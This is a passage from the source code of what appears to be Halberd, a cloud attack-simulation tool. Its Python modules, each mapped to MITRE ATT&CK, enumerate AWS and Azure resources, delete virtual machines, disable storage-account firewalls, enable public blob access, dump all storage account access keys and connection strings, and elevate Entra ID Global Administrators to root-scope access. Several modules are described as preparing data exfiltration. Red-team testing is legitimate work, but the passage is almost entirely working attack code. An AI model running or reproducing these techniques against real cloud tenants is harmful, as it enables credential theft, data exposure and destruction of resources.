"policy_document" : json.dumps(policy['PolicyDocument'], indent=2) 68 | }) 69 | 70 | return ExecutionStatus.SUCCESS, { 71 | "message": f"Successfully reconned {len(result)} risky policies" if result else "No risky policies found", 72 | "value": result 73 | } 74 | 75 | except Exception as e: 76 | return ExecutionStatus.FAILURE, { 77 | "error": str(e), 78 | "message": "Failed to recon risky policies" 79 | } 80 | 81 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 82 | return {} -------------------------------------------------------------------------------- /attack_techniques/aws/aws_recon_s3_public_buckets.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | import json 6 | 7 | @TechniqueRegistry.register 8 | class AWSReconS3PublicBuckets(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1619", 13 | technique_name="Cloud Storage Object Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Recon S3 Public Buckets", "This module identifies public S3 buckets in an AWS environment. This technique scans all S3 buckets in the account and checks their access control lists (ACLs) and policies to determine if they are publicly accessible.", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | def is_acl_public(acl): 24 | for grant in acl['Grants']: 25 | # Ref: https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html 26 | if grant['Grantee'].get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers': 27 | return True 28 | return False 29 | 30 | def is_policy_public(policy): 31 | policy_dict = policy['Policy'] 32 | if isinstance(policy_dict, str): 33 | policy_dict = json.loads(policy_dict) 34 | 35 | for statement in policy_dict['Statement']: 36 | if statement['Effect'] == 'Allow' and statement['Principal'] == '*': 37 | return True 38 | return False 39 | 40 | try: 41 | # Initialize boto3 client 42 | my_client = boto3.client('s3') 43 | 44 | # List all buckets 45 | buckets = my_client.list_buckets()['Buckets'] 46 | 47 | public_buckets = [] 48 | 49 | for bucket in buckets: 50 | bucket_name = bucket['Name'] 51 | 52 | try: 53 | # Check bucket ACL 54 | acl = my_client.get_bucket_acl(Bucket=bucket_name) 55 | if is_acl_public(acl): 56 | public_buckets.append({ 57 | "bucket_name" : bucket_name, 58 | "message" : "Public ACL found for bucket", 59 | "acl_grants" : acl['Grants']}) 60 | 61 | # Check bucket policy 62 | try: 63 | policy = my_client.get_bucket_policy(Bucket=bucket_name) 64 | if is_policy_public(policy): 65 | public_buckets.append({ 66 | "bucket_name" : bucket_name, 67 | "message" : "Public policy found for bucket", 68 | "policy" : policy['Policy']}) 69 | except my_client.exceptions.NoSuchBucketPolicy: 70 | pass # No bucket policy 71 | 72 | except my_client.exceptions.NoSuchBucket: 73 | pass # Bucket not found 74 | except Exception as e: 75 | pass # Error checking bucket 76 | 77 | return ExecutionStatus.SUCCESS, { 78 | "message": f"Successfully reconned {len(public_buckets)} public S3 buckets" if public_buckets else "No public S3 buckets found", 79 | "value": public_buckets 80 | } 81 | 82 | except Exception as e: 83 | return ExecutionStatus.FAILURE, { 84 | "error": str(e), 85 | "message": "Failed to recon public S3 buckets" 86 | } 87 | 88 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 89 | return {} -------------------------------------------------------------------------------- /attack_techniques/azure/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/attack_techniques/azure/__init__.py -------------------------------------------------------------------------------- /attack_techniques/azure/azure_create_new_resource_group.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.resource import ResourceManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureCreateNewResourceGroup(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1578.005", 13 | technique_name="Modify Cloud Compute Infrastructure", 14 | tactics=["Defense Evasion"], 15 | sub_technique_name="Modify Cloud Compute Configurations" 16 | ) 17 | ] 18 | super().__init__("Create New Resource Group", "Creates new resource group in the target Azure subscription", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | new_rg_name: str = kwargs["new_rg_name"] 24 | new_rg_location: str = kwargs["new_rg_location"] 25 | 26 | credential = AzureAccess.get_azure_auth_credential() 27 | # retrieve subscription id 28 | current_sub_info = AzureAccess().get_current_subscription_info() 29 | subscription_id = current_sub_info.get("id") 30 | 31 | # create client 32 | resource_client = ResourceManagementClient(credential, subscription_id) 33 | 34 | # resource group object 35 | rg_object = { 36 | "location": new_rg_location 37 | } 38 | 39 | # create resource group 40 | new_rg = resource_client.resource_groups.create_or_update( 41 | new_rg_name, rg_object 42 | ) 43 | 44 | return ExecutionStatus.SUCCESS, { 45 | "message": f"Successfully created new resource group {new_rg_name} in Azure", 46 | "value": { 47 | "rg_ame" : new_rg.name, 48 | "rg_location" : new_rg.location 49 | } 50 | } 51 | except Exception as e: 52 | return ExecutionStatus.FAILURE, { 53 | "error": str(e), 54 | "message": "Failed to create new resource group" 55 | } 56 | 57 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 58 | return { 59 | "new_rg_name": {"type": "str", "required": True, "default": None, "name": "New Resource Group Location", "input_field_type" : "text"}, 60 | "new_rg_location": {"type": "str", "required": True, "default": None, "name": "New Resource Group Location", "input_field_type" : "text"} 61 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_delete_vm.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.compute import ComputeManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureDeleteVm(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1499", 13 | technique_name="Endpoint Denial of Service", 14 | tactics=["Impact"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Delete VM", "Deletes virtual machines in the target Azure subscription", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | vm_name: str = kwargs["vm_name"] 24 | rg_name: str = kwargs["rg_name"] 25 | 26 | # Get credential 27 | credential = AzureAccess.get_azure_auth_credential() 28 | # Retrieve subscription id 29 | current_sub_info = AzureAccess().get_current_subscription_info() 30 | subscription_id = current_sub_info.get("id") 31 | 32 | # create client 33 | compute_client = ComputeManagementClient(credential, subscription_id) 34 | 35 | # attremp delete vm request 36 | vm_delete = compute_client.virtual_machines.delete(rg_name, vm_name) 37 | 38 | return ExecutionStatus.SUCCESS, { 39 | "message": f"Successfully deleted VM - {vm_name} in Azure resource group - {rg_name}", 40 | "value": { 41 | "vm_name" : vm_name, 42 | "resource_group" : rg_name, 43 | "Status" : "Deleted" 44 | } 45 | } 46 | except Exception as e: 47 | return ExecutionStatus.FAILURE, { 48 | "error": str(e), 49 | "message": "Failed to delete VM in target Azure resource group" 50 | } 51 | 52 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 53 | return { 54 | "vm_name": {"type": "str", "required": True, "default": None, "name": "VM Name", "input_field_type" : "text"}, 55 | "rg_name": {"type": "str", "required": True, "default": None, "name": "Resource Group Name", "input_field_type" : "text"}, 56 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_disable_storage_account_firewall.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.storage import StorageManagementClient 5 | from azure.mgmt.storage.models import StorageAccountUpdateParameters, NetworkRuleSet, DefaultAction 6 | from core.azure.azure_access import AzureAccess 7 | 8 | @TechniqueRegistry.register 9 | class AzureDisableStorageAccountFirewall(BaseTechnique): 10 | def __init__(self): 11 | mitre_techniques = [ 12 | MitreTechnique( 13 | technique_id="T1562.007", 14 | technique_name="Impair Defenses", 15 | tactics=["Defense Evasion"], 16 | sub_technique_name="Disable or Modify Cloud Firewall" 17 | ) 18 | ] 19 | super().__init__("Disable Storage Account Firewall", "Compromises Azure Storage Account network security by disabling network firewall rules and modifying network access controls to allow connections from any source. This technique changes the default network rule action to 'Allow' and enables public network access, effectively removing IP, virtual network, and private endpoint restrictions. The technique is particularly dangerous as it can circumvent planned network security architectures and allow direct internet access to storage resources that were intended to be private or accessed only through specific networks. Use this technique to establish broad access for data exfiltration or to remove security boundaries that would prevent other attack techniques from succeeding.", mitre_techniques) 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | rg_name: str = kwargs["rg_name"] 25 | account_name: str = kwargs["account_name"] 26 | 27 | # Get credential 28 | credential = AzureAccess.get_azure_auth_credential() 29 | # Retrieve subscription id 30 | current_sub_info = AzureAccess().get_current_subscription_info() 31 | subscription_id = current_sub_info.get("id") 32 | 33 | # create client 34 | storage_client = StorageManagementClient(credential, subscription_id) 35 | 36 | update_params = StorageAccountUpdateParameters( 37 | public_network_access='Enabled' 38 | ) 39 | storage_client.storage_accounts.update( 40 | rg_name, 41 | account_name, 42 | update_params 43 | ) 44 | 45 | network_rule_set = NetworkRuleSet( 46 | default_action=DefaultAction.ALLOW 47 | ) 48 | storage_client.storage_accounts.update( 49 | rg_name, 50 | account_name, 51 | StorageAccountUpdateParameters(network_rule_set=network_rule_set) 52 | ) 53 | 54 | return ExecutionStatus.SUCCESS, { 55 | "message": f"Storage account {account_name} made public. Network rule set updated to allow default action.", 56 | "value": { 57 | "account_name" : account_name, 58 | "rg_name" : rg_name, 59 | "public_network_access" : "Enabled" 60 | } 61 | } 62 | except Exception as e: 63 | return ExecutionStatus.FAILURE, { 64 | "error": str(e), 65 | "message": "Failed to make storage account public}" 66 | } 67 | 68 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 69 | return { 70 | "account_name": {"type": "str", "required": True, "default": None, "name": "VM Name", "input_field_type" : "text"}, 71 | "rg_name": {"type": "str", "required": True, "default": None, "name": "Resource Group Name", "input_field_type" : "text"}, 72 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_dump_storage_account.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique, AzureTRMTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.resource import ResourceManagementClient 5 | from azure.mgmt.storage import StorageManagementClient 6 | from core.azure.azure_access import AzureAccess 7 | 8 | @TechniqueRegistry.register 9 | class AzureDumpStorageAccount(BaseTechnique): 10 | def __init__(self): 11 | mitre_techniques = [ 12 | MitreTechnique( 13 | technique_id="T1212", 14 | technique_name="Exploitation for Credential Access", 15 | tactics=["Credential Access"], 16 | sub_technique_name=None 17 | ) 18 | ] 19 | azure_trm_technique = [ 20 | AzureTRMTechnique( 21 | technique_id="AZT605.1", 22 | technique_name="Resource Secret Reveal", 23 | tactics=["Credential Access"], 24 | sub_technique_name="Storage Account Access Key Dumping" 25 | ) 26 | ] 27 | super().__init__("Dump Storage Account", "Extracts access keys and connection strings from Azure Storage accounts to gain persistent access to storage resources. This technique allows to bypass typical authentication controls by obtaining storage account keys that provide full administrative access to all blobs, queues, tables and files within the storage account. The extracted keys can be used to directly access storage data from anywhere, potentially leading to data exfiltration or manipulation. The technique enumerates through all storage accounts in accessible resource groups and dumps both primary and secondary access keys along with their corresponding connection strings.", mitre_techniques, azure_trm_technique) 28 | 29 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 30 | self.validate_parameters(kwargs) 31 | try: 32 | credential = AzureAccess.get_azure_auth_credential() 33 | # retrieve subscription id 34 | current_sub_info = AzureAccess().get_current_subscription_info() 35 | subscription_id = current_sub_info.get("id") 36 | 37 | # create client 38 | resource_client = ResourceManagementClient(credential, subscription_id) 39 | storage_client = StorageManagementClient(credential, subscription_id) 40 | 41 | storage_keys = {} 42 | 43 | # List resource groups 44 | resource_groups = resource_client.resource_groups.list() 45 | for resource_group in resource_groups: 46 | print("Resource Group", resource_group.name) 47 | storage_keys[resource_group.name] = {} 48 | 49 | try: 50 | # List storage accounts in each resource group 51 | storage_accounts = storage_client.storage_accounts.list_by_resource_group(resource_group.name) 52 | for storage_account in storage_accounts: 53 | print(" Storage Account", storage_account.name) 54 | keys = storage_client.storage_accounts.list_keys(resource_group.name, storage_account.name) 55 | storage_keys[resource_group.name][storage_account.name] = [] 56 | # Store keys for each storage account 57 | if keys: 58 | for key in keys.keys: 59 | # Construct connection string using the first key 60 | connection_string = ( 61 | f"DefaultEndpointsProtocol=https;AccountName={storage_account.name};" 62 | f"AccountKey={key.value};EndpointSuffix=core.windows.net" 63 | ) 64 | 65 | storage_keys[resource_group.name][storage_account.name].append({ 66 | "key_name": key.key_name, 67 | "key_value": key.value, 68 | "connection_string": connection_string 69 | }) 70 | except: 71 | pass 72 | 73 | return ExecutionStatus.SUCCESS, { 74 | "message": f"Successfully dumped keys from storage accounts", 75 | "value": storage_keys 76 | } 77 | except Exception as e: 78 | return ExecutionStatus.FAILURE, { 79 | "error": str(e), 80 | "message": "Failed to dump key from storage account" 81 | } 82 | 83 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 84 | return {} -------------------------------------------------------------------------------- /attack_techniques/azure/azure_elevate_access_from_entra_id.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique, AzureTRMTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.azure.azure_access import AzureAccess 5 | import subprocess 6 | 7 | @TechniqueRegistry.register 8 | class AzureElevateAccessFromEntraId(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1098.003", 13 | technique_name="Account Manipulation", 14 | tactics=["Persistence", "Privilege Escalation"], 15 | sub_technique_name="Additional Cloud Roles" 16 | ) 17 | ] 18 | azure_trm_technique = [ 19 | AzureTRMTechnique( 20 | technique_id="AZT402", 21 | technique_name="Elevated Access Toggle", 22 | tactics=["Privilege Escalation"], 23 | sub_technique_name=None 24 | ) 25 | ] 26 | super().__init__("Elevate Access From EntraID", "Escalates privileges by exploiting the built-in Global Administrator elevation capability in Microsoft Entra ID (formerly Azure AD). This technique activates a feature that automatically grants a Global Administrator the 'User Access Administrator' role at the root scope (/), providing full RBAC control across all subscriptions in the tenant. Once executed, the Global Administrator can assign any role including Owner to any identity at any scope, effectively gaining complete control over all Azure resources. This elevation persists until explicitly disabled and bypasses standard role assignment procedures and approval workflows. The technique is particularly dangerous as it enables silent privilege elevation without generating standard role assignment alerts, and the elevated access can be used to establish multiple persistence paths through additional role assignments. This is a common privilege escalation path used in real-world attacks when initial access to a Global Administrator account is obtained.", mitre_techniques, azure_trm_technique) 27 | 28 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 29 | self.validate_parameters(kwargs) 30 | try: 31 | # get az full execution path 32 | az_command = AzureAccess().az_command 33 | # ref: https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin?tabs=azure-cli#step-1-elevate-access-for-a-global-administrator-2 34 | raw_response = subprocess.run([az_command, "rest", "--method", "post", "--url", "/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"], capture_output=True) 35 | 36 | if raw_response.returncode == 0: 37 | # successful operation has empty response 38 | return ExecutionStatus.SUCCESS, { 39 | "message": f"Permission Granted", 40 | "value": { 41 | "permission_granted" : "User Access Administrator", 42 | "scope" : "root (/)" 43 | } 44 | } 45 | else: 46 | return ExecutionStatus.FAILURE, { 47 | "error": str(raw_response.returncode), 48 | "message": "Failed to enable configuration" 49 | } 50 | except Exception as e: 51 | return ExecutionStatus.FAILURE, { 52 | "error": str(e), 53 | "message": "Failed to enable configuration" 54 | } 55 | 56 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 57 | return {} -------------------------------------------------------------------------------- /attack_techniques/azure/azure_enable_storage_account_public_access.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.storage import StorageManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureEnableStorageAccountPublicAccess(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1562.007", 13 | technique_name="Impair Defenses", 14 | tactics=["Defense Evasion"], 15 | sub_technique_name="Disable or Modify Cloud Firewall" 16 | ) 17 | ] 18 | super().__init__("Enable Storage Account Public Access", "Modifies Azure Storage Account security controls to enable public access at the account level, potentially exposing all contained data to unauthenticated access. This technique manipulates the AllowBlobPublicAccess property, which serves as a master switch for public access to any blob container within the storage account. When enabled, individual containers can be made publicly accessible without requiring authentication or authorization. This is a critical security modification that can lead to data exposure even if containers were previously secured, as it removes a key security boundary designed to prevent accidental public access. Use this technique to prepare for data exfiltration or to establish persistent public access to sensitive data. The change affects all existing and future containers in the storage account and may bypass organizational security policies that rely on account-level public access restrictions.", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | storage_account_name: str = kwargs["storage_account_name"] 24 | rg_name: str = kwargs["rg_name"] 25 | 26 | # Input Validation 27 | if storage_account_name in ["", None]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": "Invalid Technique Input", 30 | "message": {"input_required": "Storage Account Name"} 31 | } 32 | 33 | if rg_name in ["", None]: 34 | return ExecutionStatus.FAILURE, { 35 | "error": "Invalid Technique Input", 36 | "message": {"input_required": "Resource Group Name"} 37 | } 38 | 39 | # Get credential 40 | credential = AzureAccess.get_azure_auth_credential() 41 | # Retrieve subscription id 42 | current_sub_info = AzureAccess().get_current_subscription_info() 43 | subscription_id = current_sub_info.get("id") 44 | 45 | # Create client 46 | storage_client = StorageManagementClient(credential, subscription_id) 47 | 48 | # Get storage account 49 | storage_account = storage_client.storage_accounts.get_properties( 50 | rg_name, 51 | storage_account_name 52 | ) 53 | 54 | # Modify storage account configuration 55 | storage_account.allow_blob_public_access = True 56 | 57 | # Attempt to update storage account with new config 58 | storage_client.storage_accounts.update( 59 | rg_name, 60 | storage_account_name, 61 | storage_account 62 | ) 63 | 64 | return ExecutionStatus.SUCCESS, { 65 | "message": f"Successfully enabled AllowPublicAccess for {storage_account_name}", 66 | "value": { 67 | "storage_account_name" : storage_account_name, 68 | "resource_group" : rg_name, 69 | "allow_blob_public_access" : True 70 | } 71 | } 72 | except Exception as e: 73 | return ExecutionStatus.FAILURE, { 74 | "error": str(e), 75 | "message": f"Failed to enabled AllowPublicAccess for {storage_account_name}" 76 | } 77 | 78 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 79 | return { 80 | "storage_account_name": {"type": "str", "required": True, "default": None, "name": "Storage Account Name", "input_field_type" : "text"}, 81 | "rg_name": {"type": "str", "required": True, "default": None, "name": "Resource Group Name", "input_field_type" : "text"}, 82 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_enumerate_resource_groups.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.resource import ResourceManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureEnumerateResourceGroups(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1526", 13 | technique_name="Cloud Service Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate Resource Groups", "Enumerates resource groups in the target Azure subscription", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | # Get credentials 24 | credential = AzureAccess.get_azure_auth_credential() 25 | # Retrieve subscription id 26 | current_sub_info = AzureAccess().get_current_subscription_info() 27 | subscription_id = current_sub_info.get("id") 28 | 29 | # Create client 30 | resource_client = ResourceManagementClient(credential, subscription_id) 31 | 32 | # List resource groups 33 | groups_list = resource_client.resource_groups.list() 34 | 35 | resource_groups = [group_list_object.name for group_list_object in groups_list] 36 | 37 | if resource_groups: 38 | return ExecutionStatus.SUCCESS, { 39 | "message": f"Successfully enumerated {len(resource_groups)} Azure resource groups", 40 | "value": resource_groups 41 | } 42 | else: 43 | return ExecutionStatus.SUCCESS, { 44 | "message": f"No resource groups found in Azure subscription - {subscription_id}", 45 | "value": [] 46 | } 47 | except Exception as e: 48 | return ExecutionStatus.FAILURE, { 49 | "error": str(e), 50 | "message": "Failed to enumerate resource groups in Azure subscription" 51 | } 52 | 53 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 54 | return {} -------------------------------------------------------------------------------- /attack_techniques/azure/azure_enumerate_resources.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.resource import ResourceManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureEnumerateResources(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1526", 13 | technique_name="Cloud Service Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate Resources", "Enumerates resources in a target Azure resource group", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | rg_name: str = kwargs["rg_name"] 24 | 25 | # Input Validation 26 | if rg_name in [None,""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": {"input_required" : "Resource Group name"}, 29 | "message": "Invalid Technique Input" 30 | } 31 | 32 | # Get credential 33 | credential = AzureAccess.get_azure_auth_credential() 34 | # Retrieve subscription id 35 | current_sub_info = AzureAccess().get_current_subscription_info() 36 | subscription_id = current_sub_info.get("id") 37 | 38 | # Create client 39 | resource_client = ResourceManagementClient(credential, subscription_id) 40 | 41 | # List resources 42 | resources_list = resource_client.resources.list_by_resource_group(rg_name) 43 | 44 | resources = [{"resource_name": resource_list_object.name, "resource_type": resource_list_object.type, "resource_id": resource_list_object.id} for resource_list_object in resources_list] 45 | 46 | if resources: 47 | return ExecutionStatus.SUCCESS, { 48 | "message": f"Successfully enumerated {len(resources)} Azure resources", 49 | "value": resources 50 | } 51 | else: 52 | return ExecutionStatus.SUCCESS, { 53 | "message": f"No resources found in resource group - {rg_name}", 54 | "value": [] 55 | } 56 | except Exception as e: 57 | return ExecutionStatus.FAILURE, { 58 | "error": str(e), 59 | "message": "Failed to enumerate resources in resource group" 60 | } 61 | 62 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 63 | return { 64 | "rg_name": {"type": "str", "required": True, "default": None, "name": "Resource Group Name", "input_field_type" : "text"} 65 | } -------------------------------------------------------------------------------- /attack_techniques/azure/azure_enumerate_storage_accounts.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.storage import StorageManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureEnumerateStorageAccounts(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1580", 13 | technique_name="Cloud Infrastructure Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate Storage Accounts", "Performs reconnaissance of Azure Storage accounts across all accessible subscriptions to identify potential data storage targets and security misconfigurations. This technique enumerates all storage accounts and collects critical security information including account names, resource IDs, and public access settings. The discovery of storage accounts is particularly valuable for attackers as these resources often contain sensitive business data, application backups, virtual machine disks, and other critical assets. The technique specifically identifies storage accounts with blob public access enabled, which may indicate security misconfigurations that could be exploited for unauthorized data access. The enumerated information serves as a foundation for other attack techniques like key extraction, public access exploitation, shared access signature (SAS) abuse, or container enumeration. Storage account naming patterns discovered through this technique can also reveal information about associated applications, environments, or organizational structure.", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | try: 24 | credential = AzureAccess.get_azure_auth_credential() 25 | # retrieve subscription id 26 | current_sub_info = AzureAccess().get_current_subscription_info() 27 | subscription_id = current_sub_info.get("id") 28 | 29 | # create client 30 | client = StorageManagementClient(credential, subscription_id) 31 | 32 | # list vms 33 | response = client.storage_accounts.list() 34 | 35 | storage_accounts_list = [{"name":storage_account.name, "id":storage_account.id, "blob_public_access": storage_account.allow_blob_public_access} for storage_account in response] 36 | 37 | if storage_accounts_list: 38 | return ExecutionStatus.SUCCESS, { 39 | "message": f"Successfully enumerated {len(storage_accounts_list)} Azure Storage Accounts", 40 | "value": storage_accounts_list 41 | } 42 | else: 43 | return ExecutionStatus.SUCCESS, { 44 | "message": "No storage accounts found in the subscription", 45 | "value": [] 46 | } 47 | except Exception as e: 48 | return ExecutionStatus.FAILURE, { 49 | "error": str(e), 50 | "message": "Failed to enumerate Azure Storage Accounts" 51 | } 52 | 53 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 54 | return {} -------------------------------------------------------------------------------- /attack_techniques/azure/azure_enumerate_vm.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.compute import ComputeManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureEnumerateVm(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1580", 13 | technique_name="Cloud Infrastructure Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate VM", "Enumerates compute VMs in the target Azure subscription", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | try: 24 | credential = AzureAccess.get_azure_auth_credential() 25 | # retrieve subscription id 26 | current_sub_info = AzureAccess().get_current_subscription_info() 27 | subscription_id = current_sub_info.get("id") 28 | 29 | # create client 30 | compute_client = ComputeManagementClient(credential, subscription_id) 31 | 32 | # list vms 33 | vm_list = compute_client.virtual_machines.list_all() 34 | 35 | vms = [{'name':vm.name, 'id': vm.id, 'type':vm.type, 'location': vm.location, 'plan':vm.plan} for vm in vm_list] 36 | 37 | if vms: 38 | return ExecutionStatus.SUCCESS, { 39 | "message": f"Successfully enumerated {len(vms)} Azure compute VMs", 40 | "value": vms 41 | } 42 | else: 43 | return ExecutionStatus.SUCCESS, { 44 | "message": "No VMs found in the account", 45 | "value": [] 46 | } 47 | except Exception as e: 48 | return ExecutionStatus.FAILURE, { 49 | "error": str(e), 50 | "message": "Failed to enumerate Azure compute VMs" 51 | } 52 | 53 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 54 | return {} -------------------------------------------------------------------------------- /attack_techniques/azure/azure_enumerate_vm_in_vmss.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from azure.mgmt.compute import ComputeManagementClient 5 | from core.azure.azure_access import AzureAccess 6 | 7 | @TechniqueRegistry.register 8 | class AzureEnumerateVMInVMSS(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1526", 13 | technique_name="Cloud Service Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate VM in VMSS ", "Enumerates VMs in Azure Virtual Machine Scale Set (VMSS)", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | rg_name: str = kwargs["rg_name"] 24 | vmss_name: str = kwargs["vmss_name"] 25 | 26 | # Input Validation 27 | if rg_name in [None,""]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"input_required" : "Resource Group name"}, 30 | "message": "Invalid Technique Input" 31 | } 32 | 33 | if vmss_name in ["", None]: 34 | return ExecutionStatus.FAILURE, { 35 | "error": {"input_required": "VMSS Name"}, 36 | "message": "Invalid Technique Input" 37 | } 38 | 39 | # Get credential 40 | credential = 